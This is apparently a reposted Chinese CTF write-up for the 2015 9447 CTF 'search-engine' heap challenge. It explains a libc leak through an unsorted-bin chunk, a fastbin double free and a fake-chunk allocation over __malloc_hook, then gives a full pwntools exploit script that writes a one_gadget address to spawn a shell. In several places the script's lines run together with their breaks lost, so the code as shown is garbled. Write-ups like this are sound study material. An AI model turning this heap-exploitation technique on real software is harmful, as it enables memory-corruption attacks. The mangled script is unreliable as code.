【PWN · heap | Arbitrary Alloc】2015_9447ctf_search-engine

2024-02-11 11:52

本文主要是介绍【PWN · heap | Arbitrary Alloc】2015_9447ctf_search-engine,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

和【PWN · heap | House Of Spirit】2014_hack.lu_oreo-CSDN博客略有区别,但都是通过malloc一块fake_chunk到指定区域,获得对该区域的写权限


目录

零、简单介绍

一、题目分析

1.主要功能

2.index_sentence(): 增添一条语句到“库”中

3.search_word():查询单词

4.read_str():读入字符串

二、解题思路

1.整体思路

2.泄露libc

3.getshell——劫持malloc_hook

三、利用过程

1.leak libc

2.fastbin循环指针

3.Arbitrary Alloc

4.hijack __malloc_hook

四、EXP

总结


零、简单介绍

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。


一、题目分析

1.主要功能

主要有两项功能,一是增添sentence,二是查询单次。由于数据结构的组织对我而言比较复杂,因此有必要好好做一个分析。

2.index_sentence(): 增添一条语句到“库”中

这里的单词指针,是源自句子的一部分(因此将句子整个置为\x00后,word也将变为\x00)

结构体各成员含义:

  • content:单词的值
  • size:单词的长度
  • sentence_ptr:单词源自的句子
  • len:句子的长度
  • next:指向下一个word结构体变量
  • padding1和padding2:按对齐要求进行必要填充

3.search_word():查询单词

4.read_str():读入字符串

 尤其重要的是第三个参数的含义


二、解题思路

先看看保护机制

用patchelf给程序链接了合适的动态链接库

开始思考如何做题。

1.整体思路

  1. 泄露libc
  2. getshell
    1. got劫持?不太行
    2. ROP?劫持到栈上,也许可以
    3. hook劫持、打one_gadget?double free+Arbitrary Alloc,可以一试

2.泄露libc

可以从现有条件+已知方法考虑(泄露libc的方法可以多多积累,无非是获得libc中的一个真实地址,通过偏移计算基地址)

而泄露必然是回显,因此可以看看哪些输出,或者哪些指针是具有读权限的。

除了menu打印字符串常量,search_word()具有打印变量的权限,更具体来说是被malloc的堆块的数据区。而我们注意到malloc的堆块释放到bin中,但是sentence被释放后,没赋值NULL,为野指针。因此可以利用chunk被释放后放入unsorted bin,堆管理中fd和bk指针被修改,再利用这里的write打印出来,即可泄露。——这也是经常利用泄露libc的手法。

唯一的问题是,如何绕过对word匹配的限制,调用write。

其实,当sentence被memset为\x00\x00…\x00后,word作为sentence字符串开始的字符串指针,也变味了\x00,这时只需要索引长度为1的\x00即可绕过对word的匹配检测。

3.getshell——劫持malloc_hook

我们知道,存在double free,因此我们可以利用这一点,构造循环指针A→B→A→B…然后申请A,修改对应fd域为fake_chunk。此时bin中即:B→A→fake_chunk。

然而这里有几个点需要注意:

  1. 需要malloc三个sentence,free三个sentence后,再释放其中一个。依次malloc了chunk A、B、C。此时head→word(C)→word(B)→word(A)。而匹配依次free后,fastbin: A→B→C→NULL。注意,这里free的是sentence。在循环比较时,条件首先需要满足i→sentence≠0。而此时C的fd指针已是NULL(注意C就是sentence,就是i→sentence),不可通过该检测。所以循环比较时,只会顺利检测并free A、B。而为了构造循环链表,应free B构造A→B→A…
  2. fake_chunk在malloc附近,因此fake_chunk的size一般可通过错位构造为0x7f,所以ABC的chunk size也应在这一范围。使用pwndbg中的find_fake_fast函数和查找一下可以将malloc_hook作为内容地址的0x70(0x7F)大小的fake_chunk。 命令格式: find_fake_fast+被写入地址+chunk大小
  3. malloc_hook的地址比泄露出来的main_arena地址小0x10
  4. 由于leak libc时已经有一个sentence被free,因此search ’\x00‘ 时,会匹配到A、B和之前的leak_chunk,一次’y’,两次’n’

三、利用过程

1.leak libc

2.fastbin循环指针

malloc 三次,free 三次,再free 一次,即可。

3.Arbitrary Alloc

然后依据偏移即可求出每次程序的fake_chunk_addr

 4.hijack __malloc_hook

依据距离偏移,精确覆写malloc_hook:

(这里的值需要具体算,0xef9f4是one_gadget偏移)


四、EXP

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
io=process('./pwn')
a=0
if input('[?]gdb')!='':a=1gdb.attach(io)def search_word(size,word):io.sendline(b'1')io.recvuntil(b'size:\n')io.sendline(str(size).encode())io.recvuntil(b'word:\n')io.send(word)def delete_word(choice):io.recvuntil(b'(y/n)?\n')io.sendline(choice)if choice==b'y':io.recvuntil(b'Deleted!\n')def index_sentence(size,sentence):io.sendline(b'2')io.recvuntil(b'size:\n')io.sendline(str(size).encode())io.recvuntil(b'sentence:\n')io.send(sentence)def gdb_break():if a==1:input('[+]gdb check')
## test
# index_sentence(9,b'dead beef')
# search_word(4,b'beef')
# delete_word(b'y')
# search_word(4,b'dead')
# io.interactive()# leak libc
sentence=0x83*b'a'+b' b'
index_sentence(0x85,sentence)
search_word(1,b'b')
delete_word(b'y')
search_word(1,b'\x00')
io.recvuntil(b': ')
leak_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# success(hex(leak_addr))
main_arena=leak_addr-88
success('main_arena: '+hex(main_arena))
gdb_break()
delete_word(b'n')# double-free
sentence=0x5d*b'a'+b' c '
length=len(sentence)
for i in range(3):index_sentence(length,sentence) 
gdb_break()
search_word(1,b'c')
delete_word(b'y')
delete_word(b'y')
delete_word(b'y')
gdb_break()
search_word(1,b'\x00')
delete_word(b'y')
delete_word(b'n')
delete_word(b'n')
gdb_break()# fake-chunk
fake_chunk_addr=0x7f05fd0adaed-0x7f05fd0adb20+main_arena
success('fake_chunk_addr: '+hex(fake_chunk_addr))
gdb_break()
sentence=p64(fake_chunk_addr)
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
index_sentence(length,b'a'*length)
index_sentence(length,b'b'*length)
gdb_break()'''one-gadget
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:rax == NULL0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:[rsp+0x50] == NULL0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL
'''
libc_base=main_arena-0x3c4b10-0x1010+0x2000
success('libc-base: '+hex(libc_base))
gdb_break()
sentence=(0x7f5eec1dfb10-(0x7f5eec1dfaed+0x10))*b'a'+p64(libc_base+0xef9f4)+b' '
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
io.interactive()


总结

1. unsorted bin泄露libc

2. find_fake_fast可查找错位构造fake_fast_chunk

3.UAF+double free+Arbitrary Alloc

4. 关注具有读写权限的指针和操作

这篇关于【PWN · heap | Arbitrary Alloc】2015_9447ctf_search-engine的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/699713

相关文章

AI基础 L9 Local Search II 局部搜索

Local Beam search 对于当前的所有k个状态,生成它们的所有可能后继状态。 检查生成的后继状态中是否有任何状态是解决方案。 如果所有后继状态都不是解决方案,则从所有后继状态中选择k个最佳状态。 当达到预设的迭代次数或满足某个终止条件时,算法停止。 — Choose k successors randomly, biased towards good ones — Close

JavaScript正则表达式六大利器:`test`、`exec`、`match`、`matchAll`、`search`与`replace`详解及对比

在JavaScript中,正则表达式(Regular Expression)是一种用于文本搜索、替换、匹配和验证的强大工具。本文将深入解析与正则表达式相关的几个主要执行方法:test、exec、match、matchAll、search和replace,并对它们进行对比,帮助开发者更好地理解这些方法的使用场景和差异。 正则表达式基础 在深入解析方法之前,先简要回顾一下正则表达式的基础知识。正则

插件maven-search:Maven导入依赖时,使用插件maven-search拷贝需要的依赖的GAV

然后粘贴: <dependency>    <groupId>mysql</groupId>    <artifactId>mysql-connector-java</artifactId>    <version>8.0.26</version> </dependency>

MongoDB学习—(1)安装时出现The default storage engine 'wiredTiger' is not available问题解决

MongoDB是NoSql类型的一种基于分布式文件存储的数据库,其存储方式与关系型数据库不同。其详细解释可见于[百科]。安装文件可从官网下载,官网:http://mongodb.org 我将下载的解压文件放到D盘的mongodb文件夹下,

Google Earth Engine——高程数据入门和山体阴影和坡度的使用

目录 山体阴影和坡度 对图像应用计算 应用空间减速器 高程数据 通过从“重置”按钮下拉菜单中选择“清除脚本”来清除脚本。搜索“elevation”并单击 SRTM Digital Elevation Data 30m 结果以显示数据集描述。单击导入,将变量移动到脚本顶部的导入部分。将默认变量名称“image”重命名为“srtm”。使用脚本将图像对象添加到地图: Map

CF Bayan 2015 Contest Warm Up B.(dfs+暴力)

B. Strongly Connected City time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output 题目链接: http://codeforces.com/contest/475/probl

CF Bayan 2015 Contest Warm Up A.(模拟+预处理)

A. Bayan Bus time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output 题目链接: http://codeforces.com/contest/475/problem/A The fi

2015年校赛总结

题目名为“校赛总结”,其实更想换成“Rainbow为什么五题滚粗?!”。作为今年校赛大二没拆的两个队伍之一,结果打成这样,没脸见人了,总结起来就是我认为自己今天SB了。主要有以下几点: 1.我今天状态的确不好,最后卡的那道B题跟去年在农大校赛上遇见的那题类似,在最后那段时间我已经有思路了,可是由于当时不敢写。等到最后15分钟才开始敲,加上我用很麻烦的Dijstra那种方法,调试起来好多细节要处理

百度之星 2015 复赛 1001 (数长方形)

数长方形    Accepts: 595    Submissions: 1225  Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Problem Description 小度熊喜欢玩木棒。一天他在玩木棒的时候,发现一些木棒会形成长方形

百度之星 2015 初赛(1) 1002 找连续数

找连续数      Accepts: 401      Submissions: 1911  Time Limit: 2000/1000 MS (Java/Others)      Memory Limit: 32768/32768 K (Java/Others) Problem Description 小度熊拿到了一个无序的数组,对于这个数组,小度熊想知道是